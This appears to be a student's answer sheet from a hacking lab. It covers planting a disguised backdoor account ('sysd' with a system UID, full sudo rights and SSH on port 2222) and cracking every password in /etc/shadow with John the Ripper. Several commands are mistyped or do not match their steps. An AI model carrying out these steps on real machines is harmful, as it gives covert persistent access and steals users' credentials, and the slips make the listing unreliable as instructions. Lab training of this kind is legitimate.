Ryan Miller

Create a secret user named sysd. Make sure this user doesn't have a home folder created.

* Sudo useradd -M sysd

Give your secret user a password.

* Sudo passwd sysd

Give your secret user a system UID < 1000.

* Sudo usermod -u 999 sysd

Give your secret user the same GID

* Sudo groupmod -g 999 sysd

Give your secret user full sudo access without the need for a password.

* Sudo usermod -aG sudo sysd

Test that sudo access works without your password

#Change user to sysd

su -sysd

#Test sudo access

sudo -l

## Allow ssh access over port 2222.

Command to edit the sshd\_config file:

Sudo nano /etc/ssh/sshd\_config

(add ‘Port 2222’)

Command to restart the ssh service:

* Sudo systemctl restart ssh

Exit the root accout:

* Su -sysadmin

SSH to the target machine using your sysd account and port 2222:

* Sudo nano /etc/ssh/sshd\_config

Use sudo to switch to the root user

* Sudo su -

## Crack *all* the passwords

Ssh back to the system using your sysd account

* Sudo nano /etc/ssh/sshd\_config
* Use John to crack the entire /etc/shadow file  
    
  + Cat /etc/passwd
  + Cat /etc/shadow
  + Unshadow passwd.txt shadow.txt > passwords.txt
  + John passwords.txt